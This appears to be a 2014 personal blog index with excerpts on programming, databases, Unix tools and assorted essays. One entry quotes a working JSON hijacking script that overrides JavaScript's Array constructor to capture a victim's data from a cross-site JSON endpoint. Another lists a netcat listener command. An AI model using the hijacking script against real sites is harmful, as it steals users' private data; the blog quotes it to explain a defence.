Smash Company Splash Image

LATEST ENTRIES

December 19th, 2014

In Technology

No Comments

What happens if you introduce a new pattern in your software but never replace the old?

This is very good:

Each new design and technology choice never completely replaced the one that went before. The application has archaeological layers revealing it’s history and the different technological fashions taken up successively by Laurence, Bruce, Ina and Gordy. If you look along the Version 4 line, you can see that there are four different ways of doing the same thing scattered throughout the code base.

Each successive lead developer acted in good faith. They genuinely wanted to improve the application ...

Read More Source

December 19th, 2014

In Philosophy

No Comments

If a disease drives you crazy, then you are crazy but you are also having a physical issue

Very interesting story, about people driven crazy by their condition, and then being dismissed as crazy, when in fact, the craziness might be merely one symptom of the underlying illness:

WE NEED EXPLANATIONS. We need certainty. And certainty is precisely what I have been seeking over the last few weeks. Are Morgellons sufferers mad? Are they sane? Are they the one? Or the other? I never considered the possibility that they might be both. And, in this, I wonder if I ...

Read More Source

December 18th, 2014

In Technology

No Comments

How to install Postgres

By coincidence, I installed Postgres 9.3 yesterday and today they released 9.4 so I’m doing it all over again. This was a good setup guide.

Source

December 16th, 2014

In Technology

No Comments

Is PostGreSQL text search good enough?

Some interesting commentary:

As much as I would like it to be ‘good enough’, Postgres’ full text search lacks the feature set to be a reasonable solution to most search use cases. Background: I wrote a product search engine for a company called iTrackr using Postgres full text search, and later wrote the product search for milo.com using Solr. I also designed a simple (but very effective) algorithm to boost search rankings based on historical user click data, by generalizing click data ...

Read More Source

December 16th, 2014

In Business

No Comments

The CEO of Playboy admits that he’s clueless

Considering how much money the modern CEO is paid, I find it frustrating that so many of them are incompetent, so much so that they are willing to be entirely honest about their incompetence.

With so much free porn oozing from the Internet today, why would anyone look at a tame, old brand like Playboy — online or in print?

Scott Flanders, 57, the first Playboy Enterprises Inc. CEO not to share DNA with its 88-year-old founder and figurehead Hugh Hefner, ...

Read More Source

December 15th, 2014

In Technology

No Comments

Logging activity can be expensive

Scaling issues.

Source

December 15th, 2014

In Technology

No Comments

dtrace: error on enabled probe ID 5 (ID 992: io:mach_kernel:buf_strategy:start): illegal operation in action #3 at DIF offset 0

If I run “iotop” I see this error:

I looked into it and found this on StackOverflow:

I’ve looked into it a bit deeper and it does seem that it’s MySQL causing these heavy pulsing writes. When a table has an entry added or updated, does it have to re-write the entire table to disk or could it append/modify existing data? We are using MyISAM tables. We are also using SELECT queries with ORDER BY and TEXT fields, which of course require ...

Read More Source

December 15th, 2014

In Philosophy

No Comments

Why are dance friends so rare?

I was recently talking to a friend. Over the last 5 years, she and I have gone out dancing maybe a total of 6 or 7 times, in New York City and in Berlin. Not very often, and she is my only real dance friend. She and I were talking about it recently, why are dance friends so rare? It seems difficult to find friends to go dancing with. The person you can go out to a club and dance ...

Read More Source

December 15th, 2014

In Business

No Comments

Making money as a public trust

Andrew Montalenti comments on the fall of The New Republic:

Take note, journalistas. This is how your readers view your stuff — not as a “public trust”, “a voice”, or “a cause”, as TNR was described by the exiting editors in their resignation letter.

For better or worse, readers view your stuff as a product. And a product, to be bought, let alone used, needs to be useful.

I disagree with that view. It is possible to sustain oneself as a “public trust”, ...

Read More Source

December 9th, 2014

In Philosophy

No Comments

1 returns 1 as its identity, but how?

In math, we take identity for granted. But this is really very complex. I am willing to believe that 1 knows it is 1, but how does it communicate that the function that calls it? This is something that I’ve been thinking about a lot lately. Or maybe I am wrong about what it knows. How does 1 know it is 1? Does it engage in self-reflection? If so, how? Wouldn’t self-reflection be a function? But how can a function ...

Read More Source

December 3rd, 2014

In Technology

No Comments

Java gave me a choice that I didn’t need, and I made the wrong choice

Interesting story:

I made a bug once, and I need to tell you about it. So, in 2001, I wrote a reference library for JSON, in Java, and in it, I had this line

private int index

that created a variable called “index” which counted the number of characters in the JSON text that we were parsing, and it was used to produce an ...

Read More Source

November 30th, 2014

In Business

No Comments

When the crowds leave, some parts of the Internet get better

Interesting to think that after The Great Newbie Flood of the 1990s, some people gave up on IRC and now it is better than it was:

IRC today is the opposite of http://en.wikipedia.org/wiki/Eternal_September. People who still use IRC are mostly well-mannered, skillful and welcoming of others, and things only seem to get better day-by-day. People who are unresponsive to email, Tweets and other means of communication can be very responsive on IRC. More signal less noise, I quess.

and:

Yes, compared to ...

Read More Source

November 30th, 2014

In Philosophy

No Comments

Perpetual immaturity is the price of immortality

I am unable to agree with much of this post, but this in particular is a surprising viewpoint:

Your perspective on current events changes. Take the news media. Everything new is old after a time: you see the large-scale similarities across decades even without becoming a student of history. Today’s invasion or oil crisis is just like the one before last. Our current political leadership are stuck in the same ideological monkey’s-paw trap as their predecessors the last time their party ...

Read More Source

November 30th, 2014

In Technology

No Comments

Why use Java?

This article is called “Java For Everything” and it makes a good case for re-using the same language over and over again, but it does not make any case for Java.

This makes clear of using the language that you know best:

And finally, I went to write a simple program that put up a web interface. I considered using Python, but this would have required me to figure out how to serve pages from its library. I had already ...

Read More Source

November 30th, 2014

In Technology

No Comments

Letting others write your Emacs config

This is an interesting attitude:

After a long time of maintaining my own configuration I took the decision a few years ago to outsource it to people who really care about this stuff. I started with the Emacs Prelude (http://batsov.com/prelude/) which introduced me to some great tools. I recently switched to Vim bindings (evil-mode) and a week ago switched to Spacemacs (https://github.com/syl20bnr/spacemacs) which integrates better with evil-mode . So far I’m really liking the Spacemacs approach. tl;dr: Just use one of the ...

Read More Source

November 29th, 2014

In Technology

No Comments

peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements!

Setting up a new complicated system. I got to the point where “make build” completed. But I run into trouble with “make run”.

I don’t know why this error exists:

npm ERR! peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements! npm ERR! peerinvalid Peer karma-mocha@0.1.9 wants mocha@* npm ERR! peerinvalid Peer mocha-as-promised@2.0.0 wants mocha@>= 1.8.0 Source

November 29th, 2014

In Technology

No Comments

nixd is an automation framework to build your application environment

I am not clear why this is better than running a VM but this is an interesting attempt to fix the problem of setting up complex systems on machine:

nixd is an automation framework to build your application environment for development and production. It sits between build tools and configuration management engines, and lets you write simple shell scripts with hooks that will reliably get you from pristine source to running code in one command, and make every attempt to ...

Read More Source

November 29th, 2014

In Technology

No Comments

We need a unified abstraction for apps to discover each others formats

Myself and a friend exchanged some email regarding the article “The Future of Asynchronous IO in Python”. My friend wrote:

Seems like he wants zmq/nanomsg embedded inside Python. I am not really sure why.

I responded:

I think what he is suggesting is more interesting: a single, unified way of speaking to all protocols (MySql, MongoDB, Redis, Kafka, etc). When he says “protocol” I think he means “byte format”. He points out that each app generally has its own method of ...

Read More Source

November 29th, 2014

In Philosophy

No Comments

The Krugman diet

I do this too, or at least, try to:

Some people can do sustained self-discipline, eating healthy limited portions all the time; sorry, I need to drown my sorrows in red wine and pasta. Mark Bittman’s vegan before 6 works for some people I know. But what has worked for me is severe caloric restriction two days a week. In case you’re wondering, it’s actually very unpleasant. But periodic suffering seems to suit my personality.

On the tracking issue: I use a ...

Read More Source

November 27th, 2014

In Technology

No Comments

Slingshot cleans up its “catch any exception or object” syntax

Personally, I am pleased to see Slingshot improve this, as it is has long been a source of confusion. Paul Stadig writes a long comment that is critical of this change, but I disagree with his assumptions, especially here:

“It is confusing to have a class selector that selects against the wrapped object instead of the wrapper.” In other words (catch RuntimeException e …) selects against the wrapper object that is thrown whereas (catch Object o …) selects against ...

Read More Source

November 27th, 2014

In Technology

No Comments

Why use Github and also Google Groups for an open source project?

This seems to be a universal pattern, where an open source project has both a Github account and a Google Groups mailist, but is the mailist really needed? Why not just use the tools offered by Github (issues, the wiki, etc). I like that Monger introduced a Feature Request label on Github:

From Google Groups

Source

November 27th, 2014

In Technology

No Comments

Flask uses assertions

Assertions don’t seem to be used very often in Python, but they are used in Flask:

eugene-eeo started the conversation:

eugene-eeo commented 10 hours ago

I was browsing through the source and found it weird that asserts were used instead of normal exceptions.

untitaker replied:

Alright. Because Flask is using assert-statements exactly as usually recommended. The Python wiki explains the meaning of assertion errors:

Assertions are not a substitute for unit tests or system tests, but rather a complement. Because assertions are a ...

Read More Source

November 27th, 2014

In Technology

No Comments

Can Gunicorn die if bash quits before forking is done?

A very intersting bug:

Sly010 does some epic digging to find out why Gunicorn sometimes dies on startup:

Did a bit more digging:

# relevant section from daemonize() in util.py

if os.fork(): os._exit(0) os.setsid() ...

# (added 3 prints) # 3 out of 5 times this prints “1″ then silence. No gunicorn. # There is no error message and nothing in the logs.

if os.fork(): print "1" os._exit(0) print "2" os.setsid() print "3" ... # (added an extra sleep) # This prints 1,2,3 (but I would ...
Read More Source

November 27th, 2014

In Technology

No Comments

The effects of signal() in a multithreaded process are unspecified

I did not know this, and I find this very surprising:

Continuing reading the manual page, the very first note under the NOTES section is this:

The effects of signal() in a multithreaded process are unspecified.

This is called Unspecified Behavior. What it means is that standard does not say anything as for how the function should behave in a multi-threaded environment. Therefore, it may exhibit a different behavior on different systems including different versions of the same system, at discretion of ...

Read More Source

November 27th, 2014

In Technology

No Comments

Why I don’t use classes or protocols in Clojure

This post on Github sums it up very well. For almost every situation where, in an object oriented language, I would reach for interfaces and classes, in Clojure I tend to just use multi-methods.

The key issue is polymorphism. All of us want to work in a language that gives us powerful forms of polymorphism. All of the major languages offer us some types of polymorphism, but let us ask, which gives us the most powerful and flexible forms? ...

Read More Source

November 27th, 2014

In Technology

No Comments

Returning an object from eval() in Javascript

I did not know this:

eval parses its argument in statement context. You have to put parentheses around an object literal if you want eval to return an object:

> eval(‘{ foo: 123 }’) 123

> eval(‘({ foo: 123 })’) { foo: 123 }

Source

November 27th, 2014

In Technology

No Comments

A basic skeleton for python decorators

This is a nice resource that I will almost certainly come back to:

### Example usage ### class PrintDebugDecorator(Decorator): def _call(self, *args, **kwargs): print 'calling', self._f, 'with', args, 'and', kwargs return self._f(*args, **kwargs) class ModuloDecorator(Decorator): def _init(self, n=None): self.__n = n if n else 42 def _call(self, *args, **kwargs): ...
Read More Source

November 27th, 2014

In Technology

No Comments

Protecting against JSON attacks in Flask

Interesting debate. So where should Flask enforce safety for the handling of JSON?

dghubble commented 18 hours ago

My understanding is that the previous behavior (always converting the args to a dict) was sufficient to always prevent a top level json list, but blocked the legitimate use case of jsonify’ing an object for which one has written a custom JSONEncoder. This PR seems to enable that ability, while still protecting against top level json lists.

Whether json lists are considered a vulnerability Flask ...

Read More Source

November 27th, 2014

In Technology

No Comments

Top level arrays in Javascript are dangerous: Register callback on Javascript Array setters

Interesting attack:

So now what happens if a clever hacker is embedding this to his website and social engineers a victim to visiting his site:

<script type=text/javascript> var captured = []; var oldArray = Array; function Array() { var obj = this, id = 0, capture = function(value) { obj.__defineSetter__(id++, capture); if (value) captured.push(value); }; capture(); } </script> <script type=text/javascript src=http://example.com/api/get_friends.json></script> <script type=text/javascript> Array = oldArray; // now we have all the data in the ...
Read More Source

November 27th, 2014

In Technology

No Comments

Weird that under Python 3.4 runtime you can import from 2.7

Interesting:

Weird that under Python 3.4 runtime you can import from 2.7. That should not be possible for all those sanity reasons.

Because allowing that means:

Thanks. I might miss something obvious but when using gunicorn MYPROJECT.wsgi:application i get:

File “/virtualenv/lib/python3.4/site-packages/django/utils/timezone.py”, line 13, in import pytz File “/virtualenv/lib/python3.4/site-packages/pytz/__init__.py”, line 37, in from pytz.lazy import LazyDict, LazyList, LazySet File “/virtualenv/lib/python3.4/site-packages/pytz/lazy.py”, line 3, in from UserDict import DictMixin File “/usr/lib/python2.7/UserDict.py”, line ...

Read More Source

November 26th, 2014

In Technology

No Comments

Prepare for broken builds

Funny:

Source

November 26th, 2014

In Technology

No Comments

Every programming language has its own culture

It is interesting to note that this article about decorators in Python does not use the “word” closure, even though that would be the obvious way of talking about these, were we discussing a language like Javascript, where discussion of closures has been central to the culture since Doug Crockford first discussed them back in 2001.

Only in the comments does someone ask about closures:

So, decorators are an application of closures, i.e. closures applied to functions? Could you explain the ...

Read More Source

November 26th, 2014

In Technology

No Comments

Ugly mutable parts of Python

I like Python more than PHP, but the mutable parts of Python are as ugly as PHP. This function is an exampe:

def transform_words(content, targets, transform): """Return a string based on *content* but with each occurrence of words in *targets* replaced with the result of applying *transform* to it.""" result = '' for word in content.split(): if word ...
Read More Source

November 25th, 2014

In Business

No Comments

Is 0% growth for 90% a successful economic model?

Such a fantastic title. Just 9 words, yet it packs so much in.

I am especially curious why people become defensive when this issue is raised:

While most people express initial concerns about recent trends of increasing inequality, there tends to be a negative reaction about accepting that this is indeed a failure of our current economic model and most become very defensive when that argument is being made.

Why be defensive? Why not just work to end it?

Source

November 24th, 2014

In Philosophy

No Comments

What its like to have an illness with no name

During the 1990s I was sick for 6 years, from 1994 to 2000. The doctors guessed what I had, but they were never sure. When you have an illness with no name, then you don’t get the social support that you might get if you have cancer. So I 100% relate to what this guy is saying:

It Hasn’t Got A Name

This, right away, is the big problem. I’ve been through enough to know that the best way to survive something ...

Read More Source

November 24th, 2014

In Technology

No Comments

Python and its discontents

Python started off as a clean procedural language, with some immutable objects that would have allowed it to evolve into a beautiful functional language, but instead, with version 3, it veered in the direction of classic object oriented programming. I disappointed by this and so I have some interest in the various disappointments expressed by others:

By far my biggest problem with the language is the stupid slot system. I do not mean the __slots__ but the internal type slots for ...

Read More Source

November 24th, 2014

In Technology

No Comments

An abundance of file watchers in Clojure

This is a good overview of the file watchers in Clojure. I had no idea there were so many:

Typically file watchers are implemented using either one of two patterns:

verb based – (add-watch directory callback options)

noun based – (start (watcher callback options))

The difference is very subtle and really centers around the verb start. If the verb start does not exist, we can treat the file-watch as an action on the file object. However if it does exist, we can treat ...

Read More Source

November 24th, 2014

In Technology

No Comments

Instant dashboard with the ELK stack?

I need to build some dashboards for a business. I am impressed with Riak but I would have to find some way to build the dashboard. In theory, the ELK stack gives an almost instant dashboard. I am not at all interested in Logstash, but the rest of this sounds interesting:

We’ve built a data analysis and dashboarding infrastructure for one of our clients over the past few weeks. They collect about 10 million data points a day. Yes, that’s ...

Read More Source

November 24th, 2014

In Technology

No Comments

How to write errors to the terminal while booting a daemon

A very clever trick from Unicorn, which can probably be used everywhere:

And then there’s the ready_pipe Unicorn uses, which is actually quite an amazing trick. See, if you want to daemonize a process under Unix, you need to call fork(2) two times (and do some other things) so the process is completely detached from the controlling terminal and the shell thinks is the process is done and gives you a new prompt.

What Unicorn does when you tell it to run ...

Read More Source

November 24th, 2014

In Technology

No Comments

Using Emacs Eshell as the ultimate shell

Very interesting idea, I am tempted to try it:

File Selection

If all you were doing was renaming a single file, or changing access permissions on all files in a directory, you’d hardly need a flexible shell, as dired or even Finder is sufficient for those tasks. A shell comes in handy when selecting a subset of files based on a pattern, and EShell really shines here, because of its filters.

$ ls -al *.mp3(^U) # Show songs I don’t own

If ...

Read More Source

November 23rd, 2014

In Technology

No Comments

The Tracy-Widom distribution

Interesting:

The Tracy-Widom distribution is an asymmetrical statistical bump, steeper on the left side than the right. Suitably scaled, its summit sits at a telltale value: √2N, the square root of twice the number of variables in the systems that give rise to it and the exact transition point between stability and instability that May calculated for his model ecosystem.

The transition point corresponded to a property of his matrix model called the “largest eigenvalue”: the greatest in a series of ...

Read More Source

November 23rd, 2014

In Business

No Comments

Why strict encyclopedias are strong

Back in 1994 LR Iannaccone wrote “Why strict churches are strong” and the gist of the argument was:

The strength of strict churches is neither a historical coincidence nor a statistical artifact. Strictness makes organizations stronger and more attractive because it reduces free riding. It screens out members who lack commitment and stimulates participation among those who remain. Rational choice theory thus explains the success of sects, cults, and conservative denominations without recourse to ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Setting up a daemon to run automatically at startup

If I sudo to root and run:

ls -alh /etc/rc2.d/

I see something like this:

Apparently, on Ubuntu, the creation of these links is managed by update-rc.d

DESCRIPTION update-rc.d updates the System V style init script links /etc/rcrunlevel.d/NNname whose target is the script /etc/init.d/name. These links are run ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Controlling the aggressiveness of swap

Interesting:

sysctl is similar ulimit: It allows to configure kernel parameters at runtime. If you wish to keep settings persistent across reboots you should edit /etc/sysctl.conf – be aware that wrong settings may break things in unforeseen ways.

Code Listing 4: Exploring sysctl variables # sysctl -a … vm.swappiness = 60 …

The list of variables is quite long (367 lines on my system), but I picked out vm.swappiness here. It controls how aggressive swapping will be, the higher it is (with a maximum of ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Escort for command line utilities in Ruby

This looks awesome:

A lot of the existing CLI making libraries delegate to OptionParser for actually parsing the option string, while OptionParser is nice it doesn’t allow things like specifying the same option multiple times (e.g. like CURL -H parameter) which I like and use quite often. Trollop handles this case nicely, so a Trollop-based CLI tool is superior.

Also a lot of the other CLI libraries in an attempt to be extra terse and DRY make their syntax a little ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Login into remote server with one word alias

I need to remind myself of this every time:

The SSH config file is a set of key-value pairs. One type of setting is a Host keyword with other attributes. Thus, an appropriate Host entry might be:

$ cat .ssh/config Host annoying HostName annoying.hostname.example.org User admin Port 22022 Now the previous examples become:

$ ssh annoying … $ scp some-file annoying: … Finally, the last step is to take advantage of alias in your shell. In your .profile (or .bash_profile, etc):

$ grep alias .profile alias annoying=’ssh annoying’; The end result is what one ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Some Unix commands that I am finding useful

This is a note to myself. I am getting to know a new server topology at a new company. I find these commands useful:

(some of these are specific to Ubuntu — initctl, ncat, etc)

find

locate

ps

pstree

top

htop

netstats (in particular netstats -pl)

lsof

grep

du -h

df -h

ls (in particular “ls -alh” and “ls -alhrt”)

cd

screen

strace (as in “strace -c -f -p 19363″)

more

less

fuser (especially “fuser -v -n tcp 80″)

ncat (such as “ncat -lvp 4444″ I test to be sure I can send a message to a ...

Read More Source

November 23rd, 2014

In Technology

No Comments

A 23 line web server in Ruby

Part of the Ruby philosophy is to rely on Unix as much as possible. That is, in theory, what makes Unicorn so great. Here is an example of how simple it can be to build a server:

At the heart of everything that has to do with networking under Unix are sockets. You want to read a website? You need to open a socket first. Send something to the logserver? Open a socket. Wait for incoming connections? Open a socket. ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Stream Control Transmission Protocol

I did not know about the existence of this kind of socket:

Similar to TCP and UDP, SCTP provides some features of both. It is message-oriented, and provides a reliable sequenced delivery of messages. SCTP supports multi-homing, i.e., multiple IPs on both sides of the connection. So it is called an association instead of a connection, as a connection involves communication between two IPs, while an association refers to communication between two systems that may have multiple IPs.

SCTP can provide ...

Read More Source

November 23rd, 2014

In Technology

No Comments

You don’t need to normalize a reporting database, because it’s read-only

I am about to create a reporting database, so this is a healthy reminder to myself:

A reporting database has a number of advantages:

The structure of the reporting database can be specifically designed to make it easier to write reports.

You don’t need to normalize a reporting database, because it’s read-only. Feel free to duplicate data as much as needed to make queries and reporting easier.

The development team can refactor the operational database without needing to change the reporting database.

Queries run ...

Read More Source

November 23rd, 2014

In Philosophy

No Comments

Older brains learn differently than young brains

Older people show plasticity in white matter, whereas young people showed plasticity in their brain’s cortex:

Individuals varied, but older subjects were just as likely on average as younger ones to make substantial progress in discriminating the small patch’s different texture. But the researchers weren’t just interested in whether learning occurred. They also scanned the brains of the volunteers at the beginning and the end of the week using magnetic resonance imaging, which can indicate plasticity in the cortex, and using ...

Read More Source

November 23rd, 2014

In Business

No Comments

Female MBAs lose out to their husbands

More news on the gender front, this time comparing female MBAs with their husbands:

The male graduates were much more likely to be in senior management positions and have more responsibility and more direct reports than their female peers. But why? It’s not because women are leaving the workforce en masse. The authors found, definitively, that the “opt-out” explanation is a myth. Among Gen X and baby boomers they surveyed, only 11 percent of women left the workforce to be ...

Read More Source

November 23rd, 2014

In Business

No Comments

The Hindenberg was the largest airship ever built

I did not know this:

The 1990s were a time of wild commercial optimism, driven by the end of the cold war, rapidly burgeoning public access to the internet, and deregulation of financial and banking controls. All of these came with an eventual crash and an ugly hangover in the following decade, but at the time funds managers poured money into whatever high-tech startup sounded good with a cocaine high. Roton, the fully reusable surface-to-orbit helicopter, got funding. VCs lined up ...

Read More Source

November 23rd, 2014

In Business

No Comments

The toilet paper scare of 1973

Interesting:

Like most scares, the toilet paper fiasco all started with an unsubstantiated rumor. In November of 1973, several news agencies reported a tissue shortage in Japan. Initially, the release went unnoticed and nobody seemed to put much stock in it — save for one Harold V. Froelich. Froelich, a 41-year-old Republican congressman, presided over a heavily-forested district in Wisconsin and had recently been receiving complaints from constituents about a reduced stream of pulp paper. On November 16th, he released his ...

Read More Source

November 23rd, 2014

In Technology

No Comments

Automatic conflict resolution in a distributed database?

Clearly, a lot of careful thought has gone into Riak:

A pure key/value store is completely agnostic toward the data stored within it. Any key can be associated with values of any conceivable type, from short strings to large JSON objects to video files. Riak began as a pure key/value store, but over time it has become more and more aware of the data stored in it through features like secondary indexes and Search.

In version 2.0, Riak continued this evolution ...

Read More Source

November 22nd, 2014

In Philosophy

No Comments

How should biologists define sex?

Here is an interesting creature that manages to do the gene-swapping of sex while being asexual, and it therefore raises the question of whether sex should be re-defined:

Indeed, bdelloids appear to have adopted an evolutionary strategy similar to that of bacteria, a highly successful class of organisms that also lack conventional sex. “Researchers working on the evolutionary significance of sex often tended to overlook the fact that bacteria have been doing very well without sex for millions of years,” said ...

Read More Source

November 22nd, 2014

In Technology

No Comments

What is a vector clock?

Interesting:

Like dotted version vectors, vector clocks are a means of tracking a events in distributed systems. Unlike normal clocks, vector clocks have no sense of chronological time, i.e. they don’t care if something happened at 6 pm today or back in 1972. They care only about sequences of events. More specifically, they keep track of who—i.e. which actor in the system—has modified an object and how many times they’ve done so.

In a distributed system like Riak, multiple replicas of ...

Read More Source

November 22nd, 2014

In Technology

No Comments

Denormalizing a variety of data-types to a standard type for display

What is Riak good for? I get that we developers often denormalize a database to gain speed. I am not sure I totally get this, but I think this talk from developers at Yammer is about denormalizing data to a standard format, so that you can also get a simplicity and speed when you display it. In this graph they have “notifications” on the left, and then they start dividing it by status and by specific properties, which is strange, ...

Read More Source

November 22nd, 2014

In Philosophy

No Comments

Does anyone want to die?

I don’t know anyone who wants to die, and yet the public has shown no interest in funding the kind of science research that might some day lead to a cure for stuff like cancer. The USA had a good upward trend line in science spending up until 1970, but it has dropped off since. In some sense, people are acting as if they want to die, which someone justifies this comment on Hacker News:

Well, that’s another data point ...

Read More Source

November 22nd, 2014

In Technology

No Comments

The denormalized Materialized Path

When you have to do self-joins, but you don’t know how many to do, to build a hierarchical tree out of data in the database:

In this approach each record stores the whole path to the root. In our previous example, lets assume that KING is a root node. Then, the record with ename = ‘SCOTT’ is connected to the root via the path SCOTT->JONES->KING. Modern databases allow representing a list of nodes as a single value, but since materialized path ...

Read More Source

November 22nd, 2014

In Technology

No Comments

Kenya was the first country in Sub-Saharan Africa to deploy a completely online national HIS in September 2011

I note this mostly in surprise, as I realize how many efforts there are now ongoing to modernize health systems all over the world:

Kenya was the first country in Sub-Saharan Africa to deploy a completely online national HIS in September 2011. All districts and selected health facilities are connecting to the DHIS 2 national server using Mobile Internet (dongles/usb modems) on their computers. Kenya allows self-registration of personal user accounts.

After 1 year of country-wide use the national reporting rates for ...

Read More Source

November 22nd, 2014

In Philosophy

No Comments

Gravidity

The word comes from Latin, meaning heavy or burdened:

In human medicine, “gravidity” refers to the number of times a woman has been pregnant,[1] regardless of whether the pregnancies were interrupted or resulted in a live birth.

The term “gravida” can be used to refer to a pregnant woman.

A “nulligravida” is a woman who has never been pregnant.

A “primigravida” is a woman who is pregnant for the first time or has been pregnant one time.

A “multigravida” or “secundogravida” is a woman ...

Read More Source

November 21st, 2014

In Philosophy

No Comments

Why doesn’t protein send information to RNA?

I find this puzzling:

The enzymes that transcribe DNA, and turn it into RNA, are proteins, and if they are damaged, then a type of information would move from protein to RNA, and yet the above graph suggests there is no feedback from protein to RNA. Why?

From here:

The focus of proteomics is a biological group called the proteome. The proteome is dynamic, defined as the set of proteins expressed in a specific cell, given a particular set of ...

Read More Source

November 21st, 2014

In Philosophy

No Comments

The Haplotype Map

Interesting:

The International HapMap Project is a collaboration among researchers at academic centers, non-profit biomedical research groups and private companies in Canada, China, Japan, Nigeria, the United Kingdom, and the United States. It officially started with a meeting on October 27 to 29, 2002, and was expected to take about three years. It comprises two phases; the complete data obtained in Phase I were published on 27 October 2005. The analysis of the Phase II dataset was published in October 2007. ...

Read More Source

November 21st, 2014

In Business

No Comments

The data that Uber hides

Uber has deleted some blog posts, in particular this one:

Recently, I have come to understand that some of you may have—and I’m not pointing any fingers here or anything—on occasion found love that you might immediately regret upon waking up the morning after. Let’s talk about that. In times of yore you would have woken up in a panic, scrambling in the dark trying to find your fur coat or velvet smoking jacket or whatever it is you cool ...

Read More Source

November 21st, 2014

In Technology

No Comments

Government science projects: i2b2

I said this before, but it is an interesting trend: the last 20 years has seen the growth of a great many data silos in every industry, both governmental and private-sector, and now there seems to be great value in seeking integration. I noticed this during the summer, when I was working at LaunchOpen: they were integrating private sector databases such as Moodle and Blackboard, with those databases maintained by the Department Of Education. Now I notice the same thing ...

Read More Source

November 21st, 2014

In Philosophy

No Comments

What good can come from childbirth?

The headline was too good to pass up. This is from Amy Romano’s latest essay on innovative models of caring for mothers and children:

It almost seems ludicrous to ask what good can come from childbirth, since birth results in a new human being, an event celebrated across every culture. But it is a worthy question to consider in the context of healthcare. When we talk about birth outcomes, the framework is usually morbidity and mortality: preterm birth, birth injury, ...

Read More Source

November 21st, 2014

In Technology

No Comments

The SQL relational model fails at hierarchical trees

This is a very good point:

Since we don’t know the number of levels between the two, we can’t tell how many times to selfjoin emp, so that the task can’t be solved in traditional SQL.

Which is from here:

Relational databases are universally conceived of as an advance over their predecessors network and hierarchical models. Superior in every querying respect, they turned out to be surprisingly incomplete when modeling transitive dependencies. Almost every couple of months a question about how to ...

Read More Source

November 21st, 2014

In Philosophy

No Comments

How many errors are needed to make a model false?

Interesting comment, in response to criticism of an essay about probability:

Are you saying that one statistical error in a probabilistic model makes the entire model wrong? Then you’d equally have to say that one logical error in a categorical model makes it equally wrong. And manifestly, there are many logical errors in all grammars. So I’m not sure what your point is here.

I’m interested to know: I quoted Chomsky: “That’s a notion of [scientific] success that’s very novel. I ...

Read More Source

November 21st, 2014

In Philosophy

No Comments

¡Yo!

I just got done reading Julia Alvarez’s novel ¡Yo!

There was a lot I liked about this novel, but first I will list a few things I did not like.

Julia Alvarez is clearly very intelligent, and yet none of the characters in the book come across as especially intelligent. The main character, Yo, is a writer and a professor, and so we can assume that she is probably very smart. However, the text mostly brings out her failings and ...

Read More Source

November 21st, 2014

In Philosophy

No Comments

Preeclampsia studies should segregate data regarding how many births a woman has had

I am now working on women’s health/pregnancy issues, so this was interesting: “Mixing Nulliparous and Multiparous Women in Randomised Controlled Trials of Preeclampsia Prevention Is Debatable: Evidence from a Systematic Review”

Nulliparous means a woman has never been pregnant.

Multiparous means a woman has been pregnant several times.

Their conclusion:

Main Results

88 randomised controlled trials were identified, representing 83,396 included women. In 58 of the 88 articles identified (65.9%), preeclampsia was the primary outcome. In 31 of these (53.4%), the investigation combined ...

Read More Source

November 21st, 2014

In Philosophy

No Comments

The woman at the bank

Sad story. I went to my bank (Chase bank). I am visiting my mom in New Jersey, so this is out in the suburbs. I wanted to get some spending/travel money, so I was there to make a withdrawal. I arrived at the slow part of the day, before lunch. There was only 1 teller. There was only 1 other customer, a woman, who was before me in line. She looked very tired, and I guessed her age was between ...

Read More Source

November 20th, 2014

In Technology

No Comments

Why is declarative programming so limited?

Interesting idea, though strange that this has not caught on decades ago:

Today’s computers don’t have enough contextual knowledge to make me a sandwich but there are lots of domains where this approach excels. The classic example is SQL databases. Rather than specifying exact data-structures and operations, the user specifies a high-level schema and sends descriptions of queries. It is the responsibility of the database to choose storage types, manage concurrent changes and generate query plans. It makes these decisions based ...

Read More Source

November 20th, 2014

In Technology

No Comments

Python encourages tinkering

I already linked to this, but it really is interesting. I don’t think this is possible in Ruby or PHP or script languages in general, but you can do crazy things in Python:

Above we did an in-place modification of a value in a numpy array. This is easy, because a numpy array is simply a data buffer. But might we be able to do the same thing for a list? This gets a bit more tricky, because lists store ...

Read More Source

November 20th, 2014

In Philosophy

No Comments

Is conservative-versus-liberal a proxy for rare-big-loss-versus-rare-big-win

Interesting:

Consider some jobs that lean conservative: soldier, police, doctor, religious worker, insurance broker. These seem to be jobs where there are rare big bad things that can go wrong, and you want workers who can help keep them from happening. That explanation can also makes some sense of these other conservative jobs: grader & sorter, electrical contractor, car dealer, trucker, coal miner, construction worker, gas service station worker, non-professor scientist. Conservatives are more focused on fear of bad things, and ...

Read More Source

November 20th, 2014

In Business

No Comments

Marc Andreessen on diversity in the tech industry

Marc Andreessen makes a good point about the diversity of males in the tech industry. But there are some racial groups that are left out of the industry, in particular, blacks and hispanics. The tech industry is one of the few industries that is fast growing and high paying, so it is important that groups that have been historically discriminated against, in the USA, be included. Also, Andreessen’s point mostly applies to men, not women.

I think the critique that ...

Read More Source

November 18th, 2014

In Technology

No Comments

Software transactional memory in Python

Interesting:

Python has a GIL, right? Not quite – PyPy STM is a python implementation without a GIL, so it can scale CPU-bound work to several cores. PyPy STM is developed by Armin Rigo and Remi Meier, and supported by community donations. You can read more about it in the docs.

Although PyPy STM is still a work in progress, in many cases it can already run CPU-bound code faster than regular PyPy, when using multiple cores. Here we will see how ...

Read More Source

November 18th, 2014

In Technology

No Comments

Rapid intake and output of data, with control over the scale of the failures

Two new and interesting libraries:

s3-logging:

At first, we used the Hadoop S3 client, which we had used in some lightweight use cases before. Unfortunately, it ended up coping poorly. Each server had a sustained throughput of about 10 megabytes of compressed data per second, and every so often S3 would hiccup and stop accepting data for a few minutes. When this happened, Hadoop’s client would simply buffer the data in-memory until all the memory was exhausted, at which point the process ...

Read More Source

November 18th, 2014

In Business

No Comments

Uber CEO Travis Kalanick is a danger to women

(photo of Uber CEO Travis Kalanick)

Uber CEO Travis Kalanick is allowing his company to engage in some shameful tactics. This is a story from multiple sources, and of multiple incidents.

